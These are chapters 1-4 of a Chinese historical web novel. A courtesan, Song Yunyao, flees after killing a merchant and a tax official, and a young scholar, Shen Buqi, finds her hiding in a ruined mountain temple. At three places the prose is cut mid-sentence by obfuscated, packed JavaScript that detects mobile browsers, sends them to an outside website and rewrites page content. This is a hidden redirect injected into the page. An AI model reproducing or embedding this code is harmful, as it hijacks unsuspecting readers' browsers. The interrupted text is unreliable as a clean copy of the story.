《杀死那个瘦马》 1. 如梦 她杀人了。 宋云谣跌坐血泊中,浑身发凉。 男人倒在船舱正中,面孔青白,目光空洞,没了气息。 乌黑的血从他脑后溢出,一路爬到她脚边,染红被撕破的纱衣。 几步外,那张织金软榻上,躺着另一具尸身。 “轰隆——” 雷在天上炸开,狂风吹开舷窗,珠帘乱撞,烛火熄灭。 一道雷光晃进船舱,暴雨迸散在她苍白的脸颊。 逃,快逃! 她慌忙起身,游船却剧烈摇晃起来,将她狠狠摔倒在地。 夜幕沉沉,船外电闪雷鸣、风雨大作,江上掀起一层层风浪。 仓惶望去,那浪头竟是猩红的血色! 浪越攀越高,直至顶点,铺天盖地的血狠狠砸下,朝她奔涌而来;而她僵在原地,转瞬便被腥膻粘稠的血浪吞没。 窈儿,窈儿,窈儿…… 血浪中,不知谁人一声声唤着她,愈发凄厉哀怨。 窈儿——! 浑身一颤,宋云谣猛地睁开眼。 原来是梦。 面前一片黑暗,几缕微光穿过缝隙,刺进她昏沉的眼。 凄厉的叫声消失了,四下寂然,只闻船桨击水。 满脸冷汗,她下意识抬手,才发现身体蜷缩在狭小的货箱中,姿态狼狈、四肢发麻。 动作间,身上的伤处再次迸裂,右手草草缠绕的布条上,又洇出新的血迹。 宋云谣痛得抽气,终于后知后觉想起,这是她逃命的第五日。 五天前,富春江游船上。 她杀死了她的恩客、她的主子,江南商贾陈茂良。 一并杀死的,还有那位权倾江浙的矿监税使,王攀。 仓皇逃出游船、游上岸后,她却惊恐发现,留守岸上的随行小厮们全都被人割了喉,横死江边。 而后,她慌不择路逃了两日,误打误撞到了富阳渡口,混进了这艘货船。 躲在货箱三日,除却夜里偶尔摸进舱房寻几口水米,多数时候,她都陷在半梦半醒的昏睡中,一次次被尸山血海吞没。 呆怔许久,木箱外忽然传来一阵脚步,宋云谣霎时屏息回神,不敢再动。 “……这雨下得真邪,老子身上就没干爽过一日!” “一会儿平溪停了船,你爱怎么爽就怎么爽去。” “平溪能有什么好货?要我看,怎么着也要金华的姐儿,那水灵劲儿,才入得了我二哥的眼——” “滚滚滚,一帮泼才……” 几个男人嘴里嚼着荤话,哄笑一场,声音渐行渐远。 周遭又沉默下来,宋云谣强撑起精神,仔细思忖。 按方才船工所言,今日货船会在平溪渡口停船休整一夜,下一次靠岸,便是金华府了。 金华是府城,来往船只络绎不绝,渡口上必定有官兵把守。 除了核收船税、路税,查阅货物、路引都是常事。遇上有意刁难者,整船扣下都不稀奇。 更要紧的是,五天时间,足够官府发现王攀尸身、查到她的头上。 待到那时,再想脱身,恐怕就难了。 与之相比,平溪虽小,可管束松散、地势多山,远不如金华等地富庶,消息也更闭塞。 眼下若是从平溪下船,躲进山中,兴许还有一线生机。 至于之后如何活下去,便是她的造化了。 宋云谣想得入神。不自觉地,那个飘摇而混乱的雨夜,又浮现眼前。 溺水般的窒息感再一次席卷而来,浑身的痛处都在叫嚣,胃中翻涌作呕,身体不受控地轻颤。 她闭了闭眼,手紧紧抓住坠在脖颈间的旧香囊,逼自己清空思绪。 指腹摩挲着上头破旧的绣样,宋云谣仿佛抓住最后一根救命稻草。 无论如何,人已经死了,她不能让自己手里白白沾血。 她要活下去。 - 八月末,漫长的梅雨还未结束,桐江上烟水茫茫。两岸青山夹道间,行船正奔忙。 天色渐晚,蒙蒙雨雾之中,平溪渡口灯火闪烁,人影寥落。 货船驶入渡口,停靠在岸后,船工们结伴离开,只留了个资历最浅的年轻伙计看船。 众人都去镇上寻欢作乐,见四下无人,年轻伙计也翻出半坛酒,就着一碟子鱼鲊,哼着小曲儿,躲在货舱角落逍遥起来。 待船舱内渐渐安静,宋云谣轻轻掀开一条缝,小心张望。 角落里,伙计抱着酒坛,低垂着脸,仿佛醉倒了。 宋云谣心脏狂跳。 时机正好。 双眼紧盯那人的反应,她缓缓抬起货箱顶盖。 动作间,木板忽然响起吱呀声,在安静的货舱中分外刺耳,她霎时僵在原地。 好在那伙计睡得沉,并未察觉异常。 宋云谣不敢再耽搁,维持着那条窄窄的间隙,纤细柔软的身体如水般滑了出去。 钻出货箱,宋云谣拎着布鞋,赤脚踩在地上。多年习舞的功夫派上用场,行走间,莲步轻移、落地无声。 一路畅通无阻,眼见终于要打开舱门,谁料外头又有新船入港,岸上人疾呼道:“往前往前!别撞着了!” 那声音极响,伙计身子一抖,从酒中惊醒。 刚睁开眼,朦胧间,他隐约看见眼前一团黑影闪过。 伙计陡然一惊,醉意霎时散去几分,等再揉揉眼,那黑影却已消失殆尽。 四下寂静,只剩舱门被风轻轻撞开,在黑夜中吱呀摇晃。 他望着舱门下的阴影,疑心是贼匪摸上船偷盗,有些发毛;可酒壮人胆,他竟也被激起几分英雄血气,提着酒坛就往舱门去。 门外,宋云谣紧紧贴在门边,眼珠飞快在四周搜寻。 一步,两步,三步……脚步声越来越近。 她呼吸急促,一滴汗划过下颌。 千钧一发之际,年轻伙计在舱门前顿住,咽了咽唾沫。 而就在这一刻,宋云谣忽然看见侧角支起的舷窗,眼前一亮。 伙计也终于下定决心,猛地踹开舱门,将酒坛子往外狠狠一掷—— “咣当——” 意料中的惊叫没有响起,眼前空无一人,只有碎裂的酒坛,和横流的酒液。 伙计当场愣住,抄起旁边的扁挑便在船舱内急急搜寻,却始终不见人影。 最后,他喘着粗气,推开半掩的舷窗往外张望,可眼前只有一片浩渺烟波。 渡口的灯火映在江上,细雨中江水微澜,一条白鲢跳出水面,又悠悠沉底。 “真是喝昏了……” 江风吹醒他的醉意,伙计刚要懊恼转身,却“咦”了一声,俯身看向窗框上凸起的长钉。 而此刻的江水下,宋云谣凝神闭气,如游鱼摆尾,绕过货船巨大的阴影,朝岸边游去。 不知过去多久,她总算冒出水面,用力呼吸几口,朝岸边的蒲草荡缓缓游去。 蒲草锋利,草叶不断从她脸颊、脖颈划过,割出细密的口子。 地上满是湿泥,衣物都吸饱了水,她艰难跋涉其中,手脚并用,终于爬上岸。 宋云谣躺在草堆里,闭着眼,呼吸粗重,浑身脱力。 好累。好饿。好困。 若非她生在水边,一身好水性,莫说方才,富春江上就该死一回了。 已是夏末秋初,江水寒凉,江风一吹,更是刺骨的冷。 身体的温度急速下降,宋云谣心知再这样下去与等死无异,便咬紧牙关,挣扎爬起身,拨开蒲草,慢慢向外走。 总算钻出蒲草荡,可没了草叶遮拦,凄风冷雨愈发肆虐。 衣衫单薄湿透,布鞋遗落江中,宋云谣赤脚站着,冻得浑身僵冷、四肢打颤。 ——再这样下去,不等被抓上刑场斩首,她就要先一步冻死在这了。 四下张望一番,见渡口边支着个草棚,宋云谣双臂抱肩、蜷着身子,悄悄躲了进去。 草棚里空无一人,地上堆着几个木箱,其上盖了张破旧麻布,聊以遮雨。 她迟疑片刻,默念几声“对不住”,咬牙扯下麻布,裹在身上,拔腿便往外跑。 可没跑出几步,身后忽有一道男声怒斥。 “小贼!站住!” 宋云谣满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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踌躇几步,望望雨雾中炊烟袅绕的村镇,转身选了难行的路。 她一头扎进山中,不敢停歇。 夜越走越亮,林越走越密,农田庄户越走越少。 脚底尽是血痕,双腿也软得打颤,喉咙里都是血气,眼前一阵阵发黑。 饥寒中,宋云谣又被绊倒在地。这一次,她久久未爬起。 恍惚间,她好像看见自己钻出山林,轻快奔跑在大道上。 但再一琢磨,鼻尖仍是泥土的腥味,草叶仍搔刮着脸颊。 一种莫大的绝望将她吞没。 宋云谣睁开眼,抬手扇了自己一巴掌。 林中雨越来越大,她静静躺在腐臭的烂叶中,不知眼里流的是泪还是雨。 良久,她抹了把脸,终于慢慢爬起身。 谁料拨开身前杂乱丛生的蔓草,她视线中竟出现一座爬满青苔、外墙倾颓的破庙。 天无绝人之路。 宋云谣心中燃起久违的希望,拖着筋疲力尽的身体,蹒跚走进破庙。 这庙已荒废许久,满是尘灰。裂了皮的佛像上爬满蛛网,四处角落堆满了破败的杂物与干草。 四处都未寻到火源,她只能脱下湿透狼藉的破布和外衫,扯下佛桌上的布勉强裹住身体,将自己深深埋进干草堆里。 干草不知堆放多久,早已发潮,她抱着身子缩在其中,仍旧冷得浑身颤抖。 可事已至此,她无暇计较,眼前一黑,昏睡过去。 梦中又是颠倒的游船,滔天的血浪。 王攀青白的脸不断逼近,她惊慌后退,陈茂良却挡住她的后路,血人一般死死盯着她,伸出手,猛然箍住她的喉咙—— 电光石火之间,耳畔忽然传来谁的声音。 “……姑娘……” “……这位……醒醒……” 半梦半醒,她猛然睁眼,视线聚焦,模糊的人影逐渐变成一张清晰的脸。 年轻男人蹲在她身前,眉头微蹙,声音却温和轻柔,仿佛春融的涧流。 “姑娘醒了?” 目光相交,他微微一怔,垂眸避开她的视线,起身往后退了一步。 “这可不是睡觉的好地方。” 2. 冥冥中 两天前。 平溪渡口,一艘客船缓缓靠岸。 “往前往前!别撞着了!” 正逢雨夜,江边视野昏暗。船工小心操舵,岸上人高声指挥,两相配合,总算下碇停船。 泊船在岸,船主快步走向船舱。 只见舱房内,一道身影独立窗前,身姿挺拔,宛若修竹。 船主在门外停步,殷切道:“沈公子,平溪到了。现在就搬行李么?” 舱内并未点灯,映着靛青的天色,那人侧身颔首,眉目疏朗,语气和煦。 “有劳船主。砚山,你去安排。” 角落打盹的小厮砚山一骨碌站起,连声应是,推着船主出了门。 沈不器收回视线,透过舷窗,远眺着江雾中朦胧的桐江,心头几许怅然。 ——原来这就是老师笔下“山滚碧涛、水生幽林”的平溪。 只是山光水色犹在,故人昔年踪影,却早已消逝流水中了。 五年前,一桩东宫巫蛊案震惊朝野。 沈不器的老师,时任翰林院学士的李昌唯,也被卷入这场风波。 那时沈不器不过十三,回原籍南京乡试,考中解元,轰动一时。 待他春风得意返程回京,却只得到老师的死讯。 三年后,不顾祖父沈世丰反对,沈不器执意参加了会试。会试过了,殿试又被点为探花。而后入仕翰林、当选编修。 他成了大齐立国以来,最年轻的探花郎。 此般际遇,就算在书宦传家的沈家,也算是独一号的官资清贵、前程无量。 直到今年年初,朝中提起新立储君一事,当年那桩巫蛊案又被翻了出来。 风言风语有如原上之火,很快烧到了死去的李昌唯、与他唯一的学生沈不器身上。 朝局诡谲,京城风雨欲来。就在此时,绍兴林家忽然传来消息,沈不器的外祖母去世了。 几日后,沈不器向翰林院递了折子,请辞五月,回乡丁忧。 时人虽以孝为重,可多循父孝、母孝,特意为外祖母回乡奔丧、停职数月的,并不多见。 更何况这位外祖母是继室出身,入门时沈不器生母早已出嫁,与他既无血缘、也不甚亲厚。 如此看来,这番时机恰好的请辞,不免有些借机避开朝局纷扰之嫌。 可只有沈不器知道,五年来,他没有一刻不想为老师翻案。 若非祖父以死相逼,他绝不会在这个节骨眼上离开京城。 好在老天总是公平。 他回到绍兴,郁郁苦闷之时,竟意外得知老师多年前客居杭州的宅子里,仍保存着他年轻时的几箱书画手札与衣衫旧物。 得知此事,沈不器满心激动。 当初李昌唯被抄家,京城家中一应书画都被带走,至今还压在诏狱,不知何日才能重见天日。 没想到,老师昔日手稿,竟还封存在杭州。 他在绍兴守孝,不便奔波异地,只能托人偷偷寄来。 小功亲孝期五个月,他足不出户,将破朽发霉的书页一一整理修复完毕。 三箱书画,写尽了李昌唯从弱冠到而立的悲欢离合。 这十年间,他经历了年少中举、娶妻生女的风光欢喜,又接连遭遇独女被拐、妻子病逝,从此磨了心气,锁了宅子,孑然一人离开杭州。 沈不器读完,恍若隔世。 他总算明白,为何这些年来李昌唯始终不肯娶妻生子,宁可孤家寡人大半生,就连死后为他摔盆打幡的,都只有沈不器一人。 除却巫山不是云。 除却巫山不是云啊…… 三月南下绍兴,而今已然八月末,孝期结束,他是时候返程归京。 沈不器的舅舅在浙江都司任佥事,对他很是上心,早早就备好了舟马护卫、成箱的赠礼,还特意选了林家一个小辈作陪,要亲自将他送到京城才安心。 可沈不器委婉推拒了,只说他轻装简行、可以快些赶路,大件行李待日后再差人送来便是。 辞别林家,他表面走水路北上回京,可刚出绍兴,他便另寻客船,往金华府的平溪来了。 多年前,李昌唯曾携妻女来到平溪。 此地临山近水、民风淳朴,他们在此小住半月,游山玩水、访古寻碑,还曾在山中一间佛寺墙上题诗一首。 而从平溪回到杭州不久,他的女儿就被拐走。 一家三口在平溪的那段寻常日子,仿佛黄粱一梦,醒来,便也散了。 此去经年,得知那段往事,沈不器也想循着老师的脚步,看看平溪,看看他所寻访的碑石,看看他亲手题过的诗。 “少爷,行李都搬好了。” 砚山在门外催促,沈不器从回忆中抽身。 “那便走吧。” 刚下船,渡口上雨势渐大,管事万大将行李搬到草棚避雨,砚山前去路边赁车。 沈不器站在一旁,同船主约好,三日后再来接他上京。 他们主仆三人衣衫虽朴素寻常,可行事作态都不似寻常人家子弟,出手也阔气。 北上京城又是笔大生意,船主脸上笑开了花,态度更加殷勤,连连弯腰应是。 二人刚要辞别,身后忽然响起万大的呼喝:“小贼!站住!” 沈不器眉头一皱,回头望去,却见昏暗夜色中,一道黑影钻出草棚,飞快跑进一旁林中。 那人从头到脚裹在一块黑布中,看不清样貌年纪,只依稀看见那人赤着脚,身形瘦小。 “诶哟!沈公子快去瞧瞧,可别丢了东西!”一旁的船主也目睹了全程,脱口而出,“这平溪的贼寇真是越来越嚣张了……” 沈不器脚步微顿,当即问道:“船主何出此言?平溪近来不太平么?” 船主一愣,看了看四周,压低声音。 “沈公子有所不知,之前平溪被‘那位’盯上,征了不少人挖矿脉,可几年都没有消息。” 船主没有明说,可沈不器当即便明白过来,讳莫如深的“那位”,便是如今威震江浙的矿监税使,太监王攀。 “衙门费了这许多财力物力,税却没收上来,可不得急了?之后三年,平溪的税,那叫一个……” 船主啧啧两声,一副尽在不言中的模样。 沈不器微微抿唇,目光沉沉。 平溪多山少田,百姓靠水吃水,靠打渔船运维持生计,本就不富庶。 税苛民穷,日子难过,小偷小摸、贼匪流寇,自然就多了。 更莫说,其中主事者,还是那位大名鼎鼎的矿监税使王攀。 王攀的贪欲无厌、心狠手辣,可以说是朝野有名。 也曾有地方官上疏弹劾,皇帝却只不轻不重罚了王攀半年俸,那位地方官反倒连降三级废了仕途。至此,王攀在江浙的气焰更加嚣张。 沈不器心头思绪起伏,面上却全然不显。他持伞朝草棚走去,远远听见管事万大的咒骂。 “……瞎了他的狗眼!穷酸地儿的贼,偷东西也穷酸!” 见他走来,万大又换了副嘴脸,堆着笑奉承他。 沈不器满心厌烦,讥讽了几句,又觉得意兴阑珊。 在这指桑骂槐,却伤不了苛税恶吏一根毫毛,当真是可笑。 坐上车,他心烦意燥、神色冷峻,万大与砚山吓得一路大气不敢吭。 牛车摇摇晃晃许久,终于到了镇上,唯一的旅店却早已人去楼空。 夜已深,三人只能就近寻户有空屋的农家小院借宿。 农家的老夫妇拘谨而淳朴,收了银子,手脚都不知往何处放。砚山与万大各吃了碗热汤面,沈不器只喝了两杯茶,便各自睡去。 第二天,沈不器起了个大早。本想打听打听李昌唯曾去过的佛寺在何处,却没想到,砚山与万大竟病倒了。 许是昨夜的米面早已变了质,二人上吐下泻不止,脸色惨白,起身都难。 老夫妇急得快掉泪,操着乡音连声解释自己什么也没做,生怕沈不器将他们扭送官府,扑通一声就跪在了他跟前。 沈不器一个头两个大,耐着性子安抚好那对老夫妇,独自一人驾牛车去镇上请大夫抓药。正逢集市,又买了不少油粮米面回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467253|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 待一切安顿好,时辰已近傍晚。 砚山与万大喝了药,躺在床上浑身虚汗。 可身体再多不适,看到小院里挽起袖子劈柴、还与老夫妇交谈甚欢的沈不器,万大心中只剩震撼。 他忍不住喃喃道:“少爷的手,那是拿笔、拿印的手,怎么能碰斧头呢?” 砚山翻个身,诶哟诶哟叫唤两声,看见万大呆滞的目光,翻了个白眼:“你懂什么。” 少爷从前跟在李昌唯先生身边时,莫说劈柴,烧火做饭都做过呢! 他想了想,囫囵翻出李昌唯常挂嘴边的话,煞有介事道:“不识百姓民生,怎么为百姓做官?” 兵荒马乱的一天终于过去。隔天清晨,农家的鸡鸣还未响起,沈不器便起了身。 用凉水简单洗漱一番,他背上行囊雨具,顺着昨日老夫妇指的路,独自一人上了山。 归期在即,砚山与万大走路都腿软,他等不及,只能先行上山。 听老夫妇说,山中确曾有一座寺庙,几十年前住持圆寂、又走了水,渐渐也就无人再去了。 距离虽不远,翻过山便是,只是荒废多年,山路难走些。 沈不器三岁便拜师李昌唯,从小便随他出游,走个山路自然不在话下。只是临出门时,想起渡口上船主的话,他犹豫片刻,还是带上了舅舅送他的短刀。 行至山顶,已近晌午时分,沈不器寻了个大石歇脚。登高远眺,山间层雾缭绕,远处的桐江在山峦间曲折环绕。 置身壮丽山水之间,他心间那几分愁绪也好似淡了。 脚边落了许多野栗子,沈不器顺手捡了几颗放进包里。低头寻栗子时,又意外发现有块大石刻了字。 他喜不自胜,反复辨认几遍,确认这就是李昌唯游记中曾偶遇的那块碑。他摸着凹凸起伏的碑文,心中感怀万分。 简易拓了碑文,拓片半干未干之时,天上又下起雨。 今日能找到这残碑已是万幸,可他愁闷数月,心中难得如此畅快,便也放肆了自己的兴致,背上行囊,便继续往前走去。 往后的路愈发难行,林中草木葳蕤繁茂,他拿出短刀一路走一路砍。直到天光渐暗,山石掩映之间,他终于看到一座残破的寺庙。 一切来得太顺,沈不器脚步停顿,心脏狂跳,一时间竟有几分近乡情怯。 他愈发觉得,或许冥冥中,是李昌唯指引他来此的。 踏进寺中,他脱下遮雨的油帔,迫不及待往四面墙上梭巡,试图找到李昌唯的字迹。可是天光西沉,室内一片昏暗,除了佛像巨大的剪影,什么也看不清。 沈不器耐下性子,捡了些地上的枯枝干草,笼了个火堆。想了想,又拿出白日捡的野栗子,剥了外皮,顺手丢进火中。 屋外雷雨声渐起,佛殿内一室暖光。沈不器寻了一圈,果然在西侧剥落的墙皮上,隐隐看见几团乌黑的痕迹。 他举着火折子靠近,努力辨认墙上字迹。 墙边垒了近半人高的草堆,实在挡路,可刚要弯腰抱走干草时,忽然听见身前传来一阵微弱的喘气声。 沈不器眉心紧蹙,迅速退后半步,抽出腰间短刀,轻轻挑起眼前的干草。 只见草堆中,一个身形瘦弱的少女蜷缩其中,身体微微颤抖,身上不见衣物,只用一块破旧的黄布紧紧裹住身体取暖。 女孩双眼紧闭,头发散乱脸上,看不清面容,呼吸间,只依稀可见脖颈苍白的皮肤下,脉搏轻微鼓动。 沈不器微微怔住。 迟疑间,那女孩呼吸骤然一窒,喉间呜咽,像是被魇住一般,四肢也不安稳地抽动起来,仿佛溺水挣扎之人。 他连忙回神,蹲下身,连声唤道:“姑娘,这位姑娘?快醒醒……” 不过几声,那少女猛地睁开眼,视线直直望进他眼里。 沈不器下意识垂眸,定了定神,起身后退一步,避开她的双眼。 “姑娘醒了?” 余光里,她的视线却追他而去,他只能盯着地上跳动的火光。 “这可不是睡觉的好地方。” 3. 命案【重修】 夜幕彻底降临,寺庙外狂风四起、雷雨交加,室内却静得只闻那女子急促而微弱的喘息。 沈不器难得有些窘迫。 无论她是山间避雨的农家女,还是借宿此地的乞儿,即便他心中并无遐思,但孤男寡女、共处一室,终究不合适。 身后迟迟没有动静,他思及自己在此多有不便,干脆向外走去。 行走间衣摆不巧带过身旁草堆,干草散了一地,有东西滚落在他脚边,挡住去路。 沈不器步子一顿,低头望去,神情僵住,心中愕然。 只见地上赫然躺着几件揉作一团的衣裳,其中一件深色外衫上竟刀口纵横、血迹斑斑! 寺庙外狂风乍起,卷着冷雨扑向寺内,沈不器霎时清醒过来。 他不动声色蹲下身,翻开深色外衫,血腥味扑面而来。 其下一件女子的里衣,轻纱薄透、衣料上乘,即便早已被雨水冲刷淡去,仍能看清裙摆洇着大片浅红的血迹。 胡乱缠在其中的,还有一块熟悉的破旧麻布。 盯着手中衣物,他很快镇定下来,拾起衣衫,抖落两下,大方转身,放到她面前。 “姑娘,先穿上吧。”他轻轻说。 沈不器微微弯腰,对上她的视线。 目光再次相交,血腥气钻进彼此鼻腔,周遭气氛骤然紧张起来。 眼前女子仍缩在草垛中,黄布下双臂紧紧抱着身体,姿态防备,神情恍惚。 透过散乱在脸上的碎发,她的双眼死死盯着他,目光却不见聚焦。 ——仿若一头夺食失败的盲兽,在黑暗中做好了报复反扑的准备,目标却对准了一汪静水。 她究竟是谁? 为何出现在此地? 稍许,沈不器率先偃旗息鼓,走到火堆边坐下。 他侧身背对她,随手捡了根木棍,轻轻拨弄火中的栗子。 而他身后,宋云谣慢慢拿过衣衫,一件件往身上穿,可动作僵直,如同梦游一般。 她浑身冷汗涔涔,脑中一片混沌。 眼前光线昏暗,只依稀看见一个男子坐在几步外,耳畔隐隐传来雷雨声,身下尽是柔软的谷草。 她还在富春江的游船上吗? 或是还没逃出那艘货船? 梦里的血浪与一具具尸体不断在眼前回闪,身体一时滚烫、一时冷得发颤,痛感钻进四肢五骸的缝隙。 煎熬中,眼前究竟是现实,还是又一场永无止境的噩梦?她分不清了…… “笃笃——” 耳边忽然传来轻微的磕碰声,宋云谣如惊弓之鸟,慌忙抬眼望去 ,却见男人低头敲着什么,衣袖遮掩间,一道寒光刺入她的眼睛。 ——是刀! 刹那间,纷繁的记忆涌入脑海,宋云谣下意识想逃,可四肢绵软无力,来不及站起身,那人已经听见异响,缓缓转来视线—— “别过来!” 千钧一发之际,她从后脑打结的乱发中抽出簪子,双手紧攥,直直指向男人! 而他仍坐在原地,镇定自若,目光顺着她手中的簪子,一路滑到脸上,带着几分探究的意味。 情绪几近崩溃,她对时间的感知也逐渐麻木,双手渐渐颤抖,已是强弩之末。 她心中升起一个绝望的念头。 若他也不放过自己,那她该怎么办? 难道再杀一个人么? 思量间,男人已收敛锋芒,从柴灰中捡起一颗板栗,手上短刀轻巧一磕,外皮裂开,糯香滚烫的栗子仁露了出来。 板栗递到她的方向,他静静望着她。 “姑娘。”他温声道,“可要尝尝这烤板栗?” 宋云谣后背紧紧靠着墙壁,浑身冷汗,胸膛因为紧张而剧烈起伏着。 而那人收起短刀,缓缓靠近,在她急促的呼吸声中,将板栗轻轻放到她面前的草堆上,而后退回原位。 “山上随意捡的野栗子,个头儿小了些,味道倒是恰好。” 他背过身,继续拨弄着火堆,像什么都没发生一般,语气平淡,自顾自道。 “今年梅雨长,果子掉地上也烂得快。幸得不是荒年,还没到百姓沿山拾栗果腹的地步……” 男声清冽悦耳,仿佛偶然流过群山的云雾,平静而漫无边际地说着乡野琐事。 屋外风雨潇潇,庙中柴火声呼呼,宋云谣慢慢放下簪子,神志逐渐回笼。 她不知道自己昏睡了多久,也不知道自己为什么撑到今日还没死。心中只剩一个念头,好饿。 在饥饿面前,浑身的疼痛都显得微不足道。来不及剥壳,她抓起板栗,囫囵塞进嘴里。 吃得太快,干硬的壳和果仁卡住喉咙,宋云谣咳得喘不过气。泪水混杂干呕欲涌上来时,眼前忽然递来一只竹筒。 来不及说话,她下意识接过竹筒,仰头往喉咙里倒水。 半罐水下肚,终于顺了口气,眼前又递来一块油纸包好的白糕。 宋云谣抬头望去,那人安静地站在身前,维持着恰如其分的距离,视线转向一边,避开了她的难堪。 迟疑间,许是看出她心存疑虑,他伸出手掰了一块白糕,喂进嘴里几口吃下。 宋云谣抿抿唇,默默接过白糕。 余光里,那人又坐回火边剥板栗子。 就着竹筒里的水,她一边飞快咽下白糕,一边打量着他的背影,思绪转动。 此人与她年龄相仿,相貌俊美、身形修长。身上行头看着样式朴素,可衣料板正、走线细密、剪裁精巧,并非寻常。 方才靠近时,又隐约在他指尖看见墨迹,身上也嗅到一股淡淡的熏香——若没记错,应当是降真香。 降真香身价高昂,非达官显贵轻易不可得。 陈茂良曾花大价钱寻了几钱,也舍不得自用,只给她看过两眼便小心收了起来,足见其珍贵。 如此想来,眼前之人多半是个出生书香门第的公子,家境富庶却不张扬。 独自一人跑到荒郊野岭的破庙里,多半是学了文人雅士之风,游乐山水、寻访古迹。 只可惜…… 她低下头,看着身上这件布满血迹与刀口的宽大外袍。 数日前,她从游船逃到岸边,浑身都已湿透。别无他法,只能从横死在富春江边的小厮身上扒下外衫,聊以取暖蔽体。 没想到,当日的权宜之计,竟成了眼下的催命符。 此时此刻,比起什么山中古迹,他恐怕更想知道她这一身血衣的来历。 可他们力量悬殊,眼下也已错过逃跑的时机。就算勉力逃出寺庙,只会令他疑窦更甚,说不定立马下山报官…… 宋云谣紧咬下唇,心底一下下敲起鼓。 思忖间,男人先一步开了口。 “姑娘兴许不记得了,两天前在平溪渡口,你我便见过。” 平溪渡口? 宋云谣一愣,却见他指了指她披在肩上的布。 她立时反应过来,涨红了脸,飞快扯下那块麻布,起身要给他,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467254|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉,是我不该偷拿……” 他却并未收下,只道,“一块布而已,言重了。若能帮上忙,倒也物尽其用。” 说完,他很快移开视线,神情有些尴尬。 她低头一看,才发现自己赤足踩在地上,双脚红肿,脚背布满血口和脏污。 宋云谣顿觉尴尬,脚趾蜷缩,试图将双脚藏进衣袍中。 手足无措之际,那人从身侧包袱里翻出一件干净的棉绸短衫,刀在衣摆割开口子,撕下两块布条,连同袍子一起递给她。 “没穿过的。”他低声说。 她微微诧异,不禁暗中打量,却见他偏头看向一边,面上平静无波,细看却有几分不忍。 宋云谣心中一动。 她差点忘了,这般年纪的富家公子,最不缺怜香惜玉的本事。 心念电转,她故作为难,踌躇片刻才伸手接过短衫,在他对面坐下。 隔着一簇篝火,她披上短衫,慢慢用棉布缠住受伤的脚。没过一会儿,低头抽噎起来。 “可是遇到什么事了?为何你一人在山中?” 对面果然关切询问起来,宋云谣抬袖拭泪,哽咽开口。 “这位公子有所不知,我本不是平溪人士,只是前几日同家里人回乡省亲,偶然路过此地……” 她将脸埋进袖中,哭得上气不接下气,“谁知路上遇到山匪……只剩我一个……” “节哀。”那人声音霎时肃然,追问道,“恕我唐突,敢问姑娘家在何处,又要到哪儿省亲?” 她编了个姓氏,含糊其辞,“我姓苏,家在杭州,去福建省亲。” “福建……”那人沉吟两句,斟酌道,“苏姑娘可还记得,是在何处遇到的山匪?匪徒又有几人?什么样貌?” 她做出回忆的模样,磕磕绊绊地描述。 “我不知道……我睡了许久,醒来就遇到山匪,约莫四五个,各个拿着刀,将马车拦下后就开始砍杀……那天是晚上,雨很大,全是血……” 胡乱说了一堆凶险的场面,不知为何,她眼前莫名浮现起两张臃肿青白、狰狞可怖的脸,声音忽然卡住。 她张了张口,半晌才找到声音。 “……他想碰我,掐我的喉咙,骂我是个婊子,还骂了别的,我喘不过气,没听清……” 她脸上的神情消失了,望着摇曳的火光喃喃道。 “……地上全是尸体,全死了,只剩我一个。” 室内一时寂然。 “抱歉。”他神情复杂,几分懊恼、几分歉疚。 宋云谣轻轻摇头,不再回应。 在她痛苦而沉默的姿态下,他只能将满腹疑问都咽下。 “鄙姓沈,苏姑娘叫我沈三便是。”他声音轻柔,唯恐将她吓到。 “夜里山路难行,又下着雨,恐怕只能在此将就一夜。若苏姑娘信得过我,待明日雨停,我便送你下山报官。” 他郑重道:“苏姑娘放心,官府定会给你一个交代。” 宋云谣垂头不语,藏在袖中的手轻轻一颤。 说完,他往火堆里添了几根干柴,又起身抱了一团干草,径直走到寺庙门前,背对她坐下。 宋云谣双臂抱膝,看着他的背影,脸上的柔弱与悲戚消失,只剩冷冷的警惕与审视。 等了许久,那沈三仍坐在门口,没有回来的意思。她力竭地闭眼,手伸进领口,握住那只熟悉的旧香囊。 这一夜,她骗过去了。 明天,她又该怎么办? 4.江流 天黑透了,寺庙外雷雨交加。 宋云谣缩在火堆前,盯着沈三坐在门槛边的背影,久久未眠。 火光跃动,湿柴毕剥作响,温暖久违包裹她的身子,不断侵蚀麻痹她的戒备。她勉力支撑到近五更天,不知何时闭上了眼。 再醒来时,山鸟啁啾,柴火灰白。宋云谣怔了怔,张望一圈,并未看见沈三的身影。 难道他走了? 心里燃起几分不可置信的狂喜,宋云谣撑着发麻的腿站起身,刚要往外跑,双脚踩到什么,差点被绊倒在地。 她低头望去,不由愣住。 这是一双手编的草鞋。 “你醒了?” 门外传来沈三的声音,他手拎两只满水的竹筒,挟一身冷雾走来。 见她望着草鞋神情怔怔,又道,“不知合不合适,苏姑娘暂且将就一二。” 轻描淡写说完,他坐地笼火,将竹筒支在火上煮沸。 宋云谣拾起草鞋,心绪纷乱。半晌,低低道,“多谢。” 沈三只微微一笑,并不多言。 